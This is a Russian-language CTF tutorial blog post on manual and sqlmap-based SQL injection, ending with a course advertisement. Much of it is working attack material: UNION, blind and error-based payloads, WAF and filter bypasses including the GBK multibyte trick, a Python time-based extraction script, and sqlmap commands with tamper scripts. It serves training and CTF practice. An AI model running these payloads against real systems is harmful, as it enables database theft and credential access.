
За два года участия в CTF формата jeopardy я решил больше сотни web-заданий — примерно каждое третье упиралось в SQL-инъекцию. От тривиального ' OR 1=1-- в форме логина до многоступенчатых blind-цепочек с фильтрацией и WAF. Разница между тем, кто решает задание за 15 минут, и тем, кто застревает на час — не в знании теории, а в выработанной методике: сначала руками понять, что происходит, потом переключиться на автоматизацию. Ниже — пошаговый разбор этой методики с реальными payload'ами и командами sqlmap.
Поиск sql-инъекций вручную начинается с одного символа — одинарной кавычки. Есть форма логина, поле поиска или GET-параметр вроде ?id=1 — вставляй ' и смотри на реакцию сервера. Это не «попробовать наудачу», это диагностика. По характеру ответа определяется тип инъекции и СУБД.
В OWASP Top 10 (2021) Injection-уязвимости стоят на третьем месте (A03:2021). SQL-инъекция — классика жанра: пользовательский ввод попадает в SQL-запрос без валидации. По данным Vaadata, только за 2023 год SQL-инъекции засветились в 2159 CVE. На CTF это навык первой необходимости, а в боевых условиях SQL-инъекция — один из основных векторов начального доступа: в терминах MITRE ATT&CK это Exploit Public-Facing Application (T1190, Initial Access). Результат — вытащить данные из БД (T1213.006, Collection) или добраться до учёток (T1552.001, Credential Access).
Вводите ' в параметр — ?id=1'. Дальше три сценария, и каждый диктует стратегию.
Сервер отдаёт ошибку базы данных. Это error-based sqli. Типичные маркеры: You have an error in your SQL syntax (MySQL), unterminated quoted string at or near (PostgreSQL), ORA-01756 (Oracle), [Microsoft][ODBC SQL Server Driver] (MSSQL). По формату ошибки определяется СУБД — без этого правильный payload не подберёшь.
Ответ изменился, но ошибки нет. Скорее всего boolean-based blind sqli. Страница выглядит иначе: пропал контент, другой заголовок, другой HTTP-код. Проверка: сравнить ответы на ?id=1 AND 1=1-- (нормальный) и ?id=1 AND 1=2-- (должен отличаться).
Ответ идентичен. Остаётся time-based blind sqli. Проверяете задержкой: ?id=1' AND SLEEP(5)-- для MySQL, ?id=1'; WAITFOR DELAY '0:0:5'-- для MSSQL, ?id=1' AND pg_sleep(5)-- для PostgreSQL. Ответ пришёл через пять секунд — инъекция подтверждена.
На этом этапе вы уже знаете тип инъекции и СУБД. Эту информацию потом передаёте sqlmap через --dbms и --technique, и он не тратит тысячи запросов на угадывание.
Если сервер возвращает данные в ответе (не blind), следующий шаг — UNION SELECT. Но сначала нужно узнать количество столбцов в оригинальном запросе, иначе СУБД ругнётся на несовпадение.
Два подхода. Оба рабочие, но применимость зависит от фильтрации.
ORDER BY — подбираете номер столбца, пока не получите ошибку. ?id=1 ORDER BY 1--, ORDER BY 2--, ORDER BY 3--... Как только сервер вернул ошибку — предыдущее число и есть количество столбцов. ORDER BY 4-- падает — значит, столбцов три.
UNION SELECT NULL — добавляете NULL'ы, пока запрос не пройдёт. ?id=1 UNION SELECT NULL-- → ошибка, ?id=1 UNION SELECT NULL,NULL-- → ошибка, ?id=1 UNION SELECT NULL,NULL,NULL-- → ок → столбцов три. Этот метод на CTF надёжнее: ORDER BY иногда фильтруется, а NULL не привязан к типу данных.
UNION SELECT инъекция — самый частый тип sql-инъекции в ctf. Работает, когда результат SQL-запроса отображается на странице. Цель — «прицепить» свой SELECT к оригинальному запросу и вытащить данные из произвольных таблиц.
Количество столбцов известно (допустим, три). Теперь надо понять, какой из них отображается на странице. Отправляете:
?id=-1 UNION SELECT 1,2,3--
id=-1 гарантирует, что оригинальный запрос ничего не вернёт (несуществующий ID), и на странице появятся только подставленные значения. Видите цифру «2» — второй столбец выводится в ответ. Именно в него и будете вставлять подзапросы.
Список таблиц в MySQL: ?id=-1 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()--. GROUP_CONCAT склеивает все имена таблиц в одну строку через запятую — удобнее, чем тянуть по одной.
Столбцы конкретной таблицы: ?id=-1 UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users'--.
На PostgreSQL вместо information_schema.tables можно использовать pg_catalog.pg_tables, а на SQLite — sqlite_master с запросом SELECT name FROM sqlite_master WHERE type='table'. Тип СУБД вы уже определили на этапе диагностики.
На CTF-заданиях средней сложности фильтруют очевидные символы. Вот типовые ситуации и как их обходить.
Фильтрация кавычек. Если ' экранируется через addslashes() — используйте hex-кодировку. Вместо WHERE table_name='users' пишете WHERE table_name=0x7573657273. MySQL интерпретирует hex как строку без кавычек. Один из самых частых приёмов на CTF.
Фильтрация пробелов. Заменяйте на комментарии: SELECT/**/flag/**/FROM/**/flag. Или на переносы строк: SELECT%0aflag%0aFROM%0aflag. В MySQL работает и табуляция: SELECT%09flag%09FROM%09flag.
Фильтрация ключевых слов SELECT/UNION. Регистрозависимый фильтр? Меняйте регистр: SeLeCt, uNiOn. Фильтр удаляет слово (replace на пустую строку)? Вкладывайте: SELSELECTECT — после удаления внутреннего SELECT останется SELECT. Грубо, но работает.
Мультибайтовая кодировка. На заданиях с кодировкой GBK addslashes() и magic_quotes_gpc обходятся через многобайтовые символы. Байт обратного слеша (0x5c) «поглощается» предшествующим байтом GBK-символа, освобождая кавычку. Символ 乗 (код 0x815c) в сочетании с ' формирует последовательность, где слеш от addslashes() становится частью легитимного GBK-символа, а кавычка остаётся свободной. Хитро, да.
Blind sqli — когда сервер не показывает данные из запроса напрямую. Результат определяется косвенно: по изменению ответа или по задержке. Медленнее UNION, но работает в большем количестве случаев.
Сервер отвечает по-разному на «истинный» и «ложный» запрос. Классика: ?id=1 AND 1=1-- возвращает нормальную страницу, ?id=1 AND 1=2-- — пустую или с ошибкой.
Это позволяет задавать серверу вопросы «да/нет» и посимвольно вытягивать данные. Шаблон: ?id=1 AND (SELECT SUBSTRING(flag,1,1) FROM flag)='s'--. Первый символ флага — s? Страница нормальная. Нет — ответ изменится.
Для ускорения — бинарный поиск вместо полного перебора. Проверяете: SUBSTRING(flag,1,1) > 'm' — если TRUE, символ в верхней половине алфавита. Затем > 's', > 'p' и так далее. Вместо 62+ запросов на символ (все буквы, цифры, спецсимволы) хватает 6-7. На флаг из 30 символов — 200 запросов вместо 1800+. Разница между «решил за 10 минут» и «не успел до конца CTF».
Time-based blind sqli — самый медленный, но самый надёжный тип. Работает даже когда ответ сервера вообще не меняется визуально. Вся информация — через задержки.
Шаблон для MySQL: ?id=1 AND IF(SUBSTRING((SELECT flag FROM flag),1,1)='s',SLEEP(5),0)--. Первый символ s — сервер отвечает через 5 секунд. Нет — мгновенно.
Руками это делать нереально. Вот минимальный Python-скрипт:
import requests, string
url = "http://target.ctf/page"
flag = ""
for pos in range(1, 50):
for char in string.printable:
payload = f"1 AND IF(SUBSTRING((SELECT flag FROM flag),{pos},1)='{char}',SLEEP(3),0)-- -"
try:
requests.get(url, params={"id": payload}, timeout=2)
except requests.exceptions.Timeout:
flag += char
print(f"[+] {flag}")
break
Логика: скрипт шлёт запрос с SLEEP(3) и ставит таймаут 2 секунды. requests.get не дождался ответа — значит, SLEEP(3) сработал и символ угадан. Это базовый пример для понимания концепции. В боевом CTF стоит добавить бинарный поиск, обработку нестабильной сети (повторные запросы) и динамический таймаут.
Error-based sqli работает, когда сервер выводит подробные ошибки СУБД. Быстрее UNION (не нужно определять количество столбцов) и на порядок быстрее blind — данные приходят целиком в тексте ошибки.
Для MySQL классический payload через extractvalue(): ?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT flag FROM flag)))--. Сервер вернёт ошибку XPATH syntax error: ':флаг_тут'. Данные — прямо в тексте ошибки. Красота.
Ограничение: extractvalue() отдаёт максимум 32 символа. Флаг длиннее — используете SUBSTRING: concat(0x3a,SUBSTRING((SELECT flag FROM flag),10,32)) — вернёт символы начиная с десятого. Аналогично работает updatexml(): ?id=1 AND updatexml(1,concat(0x3a,(SELECT flag FROM flag)),1)--.
В PostgreSQL для error-based sqli используют приведение типов: ?id=1 AND 1=CAST((SELECT flag FROM flag) AS int)--. СУБД пытается привести строку к числу, ломается и выводит содержимое строки в сообщении об ошибке. PostgreSQL сам тебе флаг отдаёт — надо только правильно попросить.
На CTF error-based sqli встречается реже UNION, но когда попадается — решается быстрее всех остальных типов.
Ручной поиск sql-инъекций даёт понимание механики. Но на CTF, где время ограничено, автоматизация sql-инъекций через sqlmap экономит десятки минут. Sqlmap поддерживает шесть техник эксплуатации: boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries и out-of-band. Работает с MySQL, PostgreSQL, Oracle, MSSQL, SQLite, MariaDB и ещё кучей СУБД.
Главное правило, которое я вывел на практике: sqlmap — инструмент эксплуатации, а не обнаружения. Сначала находите инъекцию руками (кавычка, анализ ответа), определяете тип — потом запускаете sqlmap с конкретными параметрами. Без --dbms и --technique sqlmap генерирует тысячи лишних запросов, и на нестабильных CTF-серверах это приводит к таймаутам и ложным отрицательным результатам.
Типичная последовательность для CTF-задания, где вы уже нашли инъекцию в ?id=1' с ошибкой MySQL:
Подтверждение и определение типа: python sqlmap.py -u "http://target.ctf/page?id=1" --dbms=mysql --batch. --batch отвечает на все вопросы автоматически, --dbms=mysql ограничивает проверку одной СУБД.
Список баз данных: добавляете --dbs к предыдущей команде.
Список таблиц: python sqlmap.py -u "http://target.ctf/page?id=1" --dbms=mysql -D ctf_db --tables --batch. -D указывает базу.
Список столбцов: -D ctf_db -T users --columns.
Дамп данных: -D ctf_db -T flag -C flag --dump.
Если инъекция в POST-параметре (форма логина), используйте --data: python sqlmap.py -u "http://target.ctf/login" --data="username=admin&password=test" -p username --batch. -p указывает тестируемый параметр.
Для передачи сохранённого HTTP-запроса из Burp Suite: python sqlmap.py -r request.txt --batch. Sqlmap сам разберёт заголовки, cookies и параметры. На CTF это самый быстрый способ — не надо руками копировать cookies и заголовки.
Выбор конкретной техники: --technique=U (UNION), --technique=B (boolean-blind), --technique=T (time-blind), --technique=E (error-based). По умолчанию — BEUSTQ (все шесть). Указание конкретной техники, когда тип уже известен, сокращает время работы sqlmap в разы.
На продвинутых web ctf заданиях ставят WAF или кастомную фильтрацию: блокируют SELECT, UNION, пробелы, кавычки, комментарии. Sqlmap для CTF предлагает tamper-скрипты — модули, которые модифицируют каждый payload перед отправкой.
python sqlmap.py -u "http://target.ctf/page?id=1" \
--tamper=space2comment,randomcase \
--dbms=mysql --batch --dbs
Основные tamper-скрипты для CTF:
| Скрипт | Что делает | Когда применять |
|---|---|---|
space2comment |
Заменяет пробелы на /**/ |
Фильтрация пробелов |
randomcase |
Меняет регистр: SeLeCt |
Регистрозависимая фильтрация SELECT/UNION |
between |
Заменяет > на NOT BETWEEN 0 AND |
Фильтрация операторов сравнения |
charencode |
URL-кодирует payload | Обход простых WAF |
equaltolike |
Заменяет = на LIKE |
Фильтрация знака = |
space2hash |
Пробелы → # + перенос строки |
MySQL, фильтрация пробелов |
Скрипты комбинируются: --tamper=space2comment,randomcase,between применяет все три последовательно. Для типичного CTF с фильтрацией SELECT и FROM обычно хватает randomcase — замена SELECT на SeLeCt обходит регистрозависимую проверку. Фильтруются кавычки — charencode в комбинации с hex-кодировкой.
Стандартные tamper-скрипты не помогают? Повышайте уровень: --level=3 --risk=2 заставляют sqlmap проверять cookies, HTTP-заголовки (Referer, User-Agent) и использовать более агрессивные payload'ы. --level=5 --risk=3 — допустимый максимум на CTF, когда стандартные настройки не дали результата.
Каждая техника эксплуатации sql-инъекций работает при определённых условиях. Прежде чем тратить время на CTF, проверьте предусловия:
| Техника | Предусловие | Ограничение |
|---|---|---|
| UNION SELECT | Данные запроса отображаются на странице | Нужно знать количество столбцов |
| Boolean-based blind | Ответ отличается для TRUE/FALSE условий | 6-7 запросов на один символ |
| Time-based blind | СУБД поддерживает SLEEP/WAITFOR/pg_sleep | Самая медленная, зависит от сети |
| Error-based | Подробные ошибки СУБД выводятся в ответ | Лимит 32 символа на вызов |
| Stacked queries | СУБД и драйвер поддерживают ; |
Не работает с MySQL через mysqli_query |
Stacked queries стоят отдельного комментария. Они позволяют не только читать, но и модифицировать базу — INSERT, UPDATE, DELETE. В MITRE ATT&CK это SQL Stored Procedures (T1505.001, Persistence): атакующий может создать хранимую процедуру для закрепления в системе. На CTF stacked queries встречаются в заданиях с PostgreSQL и MSSQL, но почти никогда с MySQL через стандартный PHP-драйвер — mysqli_query() выполняет только один запрос. Это важно знать, чтобы не тратить время на невозможное.
Финальная сборка — как выглядит решение CTF-задания от начала до конца.
Разведка. Открываете задание, находите точки ввода: GET-параметры, POST-формы, cookies, HTTP-заголовки. Запускаете Burp Suite и проксируете трафик.
Ручная проверка. В Burp Repeater подставляете ' в каждый параметр. Анализируете: ошибка СУБД, изменение контента, задержка.
Классификация. Определяете тип (UNION, blind, error-based) и СУБД (MySQL, PostgreSQL, SQLite, MSSQL) по формату ответа.
Ручная эксплуатация. Для UNION: определяете столбцы через ORDER BY или NULL, извлекаете information_schema, находите таблицу с флагом. Для blind: подтверждаете тип и пишете скрипт или переходите к sqlmap.
Автоматизация. Сохраняете HTTP-запрос из Burp через Copy to file, передаёте в sqlmap: python sqlmap.py -r request.txt --dbms=mysql --technique=U --batch --dump.
Обход фильтрации. Sqlmap не находит инъекцию — добавляете --tamper, поднимаете --level и --risk, указываете конкретный параметр через -p.
Этот workflow закрывает абсолютное большинство web ctf заданий с SQL-инъекциями за 10-20 минут. Нестандартные случаи — мультибайтовая кодировка (GBK), second-order injection (payload сохраняется в БД и срабатывает позже), инъекция в ORDER BY без UNION — требуют отдельного подхода, но базовая диагностика та же: кавычка, анализ ответа, классификация.
Большинство CTF-игроков делятся на два лагеря: одни пытаются решить всё руками и тратят час на blind sqli с бинарным поиском, другие сразу запускают sqlmap -u ... --dump и удивляются, почему инструмент не работает без --dbms и --technique. Обе стратегии проигрышные. Ручной поиск — это диагностика. Sqlmap — скальпель для эксплуатации. Один без другого работает плохо.
По моему опыту, самый устойчивый навык — переключение между режимами. Две минуты в Burp Repeater дают информацию, которая экономит sqlmap десятки тысяч лишних запросов. А sqlmap за минуту вытягивает данные, которые вручную пришлось бы собирать полчаса. Навык нарабатывается только практикой на разнообразных заданиях — одного типа инъекций недостаточно. CTF-задания на sql-инъекцию с каждым годом смещаются от UNION к blind и от чистой инъекции к комбинированным цепочкам: SQLi + SSRF, SQLi + десериализация, SQLi через HTTP-заголовки. Если весь арсенал ограничен уровнем ' OR 1=1--, через год половина web-тасков окажется нерешаемой. На WAPT в Codeby эту прогрессию проходят в двух модулях — от базовых инъекций до WAF bypass с лабой на каждый кейс.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...